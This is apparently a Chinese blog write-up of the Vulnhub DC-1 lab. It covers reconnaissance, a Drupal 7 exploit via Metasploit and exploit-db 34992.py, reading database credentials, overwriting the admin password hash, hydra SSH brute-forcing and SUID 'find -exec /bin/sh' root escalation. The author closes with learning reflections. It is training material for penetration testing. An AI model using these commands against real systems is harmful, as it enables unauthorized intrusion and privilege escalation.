Vulnhub-DC-1靶机渗透练习

DC-1

第一步:信息收集

nmap  -sn 192.168.231.0/24 (进行存活主机发现)

Vulnhub-DC-1靶机渗透练习_第1张图片

nmap -A -p- 192.168.231.142 (进行针对靶机的详细信息收集查看靶机开放了那些端口)Vulnhub-DC-1靶机渗透练习_第2张图片dirb -http://192.168.231.142

Vulnhub-DC-1靶机渗透练习_第3张图片

nikto -h http://192.168.231.142 (敏感信息发现,cms是drupal7.0版本)

Vulnhub-DC-1靶机渗透练习_第4张图片

第二部:漏洞利用

msf 搜索关于drupal的相关漏洞.Vulnhub-DC-1靶机渗透练习_第5张图片我可能是歪打正着,上一个lampiao的靶场也是drupal的靶场,我就试了下对应的exp,结果getshell啦!太欧了

Vulnhub-DC-1靶机渗透练习_第6张图片

 这里的exploit写错啦,也可以使用run

利用python –c ‘import pty;pty.spawn(“/bin/bash”)’ 创造一个交互界面,就得到了flag1.txt

Vulnhub-DC-1靶机渗透练习_第7张图片

根据flag1提示,每个好的cms都需要配置文件,你也一样?

那我就去sites里边看一眼默认的settings.php查看当前的配置,找到了flag2.txt和数据库账号和密码

Vulnhub-DC-1靶机渗透练习_第8张图片

根据settings.php文件得到数据库的账号和密码,尝试ssh用此账户密码登陆发现不成功.

此时思路断了一下,既然不能用数据账号密码ssh登陆那就直接登陆数据库吧

mysql  -udbuser -p

R0ck3t

Vulnhub-DC-1靶机渗透练习_第9张图片

在数据库的user表里发现了账户的admin账户,密码是加密的不好搞.

Vulnhub-DC-1靶机渗透练习_第10张图片

思路到这就断了,然后就开始打开了百度

大致思路有两种,第一种利用php脚本生成一个密码,把原有的密码覆盖掉.第二种是利用cms的漏洞添加往账户里添加一个账户.

方法一

php scripts/password-hash.sh xfaicl xfaicl是密码可以自己设置,

登陆到mysql的数据库,use drupaldb;

执行密码覆盖,现在不知道啥原因,此方法行不通.

update users set pass="$S$DxQCTfic1drhqY7jbCf62drw/T204r3is./KmIUKEzlQUpfHx1RQ" where uid=1;

方法二

利用cms的漏洞直接添加一个账户来登陆后台

search drupal 存在一个适用于7.0版本的add admin user的poc

locate php/webapps/34992.py 查看相应poc存在的绝对路径

Vulnhub-DC-1靶机渗透练习_第11张图片

locate hp/webapps/34992.py 

/usr/share/exploitdb/exploits/php/webapps/34992.py

cp  /usr/share/exploitdb/exploits/php/webapps/34992.py ~

python 34992.py –t http://192.168.231.142 –u admin1 –p qingchen(账户密码自定义)

Vulnhub-DC-1靶机渗透练习_第12张图片

添加完账户以后就可以直接登陆到后台啦, flag3 存在于find content 中.

Vulnhub-DC-1靶机渗透练习_第13张图片

根据前边cat /etc/shaow 发现存在一个flag4的用户

切换到flag4用户得到flag4.txt

Vulnhub-DC-1靶机渗透练习_第14张图片

 此时我就有一个点不是很理解,我看了好多前辈的write up,都是先爆破flag4用户后查看的flag4.txt

我接着也爆破了下

Vulnhub-DC-1靶机渗透练习_第15张图片

这里hydra提示的意思好像是一般ssh的扫描线程应该是4 我开的64应该默认已经调到4线程了 

第三步提权

SUID是一种Linux的权限机制,指某可执行程序在执行时将会使调用者暂时得到被执行程序的权限,如果被执行程序可以执行脚本或指令的话,就可以利用这个脚本或指令进行提权。

find / -user root –perm -4000 –print 2> /dev/null 查看系统中有哪些suid指令

Vulnhub-DC-1靶机渗透练习_第16张图片

 find命令就具有root权限, find指令可以有一个-exec的输入,可以执行一条指令或是一个脚本。若find是root权限,那么这条指令或脚本将以root权限执行

find / -type –f –name qingchen –exec “/bin/sh” \; qingchen是我自己创建的文件,只有find的文件存在才会执行exec后面的命令

Vulnhub-DC-1靶机渗透练习_第17张图片

 提权成功后得到了final-flag.txt

总结:

  1. 自己渗透测试的思路不够活络,期间有几次都没思路了.
  2. 实在想不到了的时候就开始了直接找答案的过程,感觉这样提升不大.
  3. 提权还是做的比较少.
  4. 还有就是期间听同事的建议,左边一句右边一句,真的容易感觉有点慌.
  5. Try harder... 依旧菜鸡,借鉴了很多前辈的思路,就不一一感谢啦.

你可能感兴趣的:(vulnhub靶场练习,网络安全)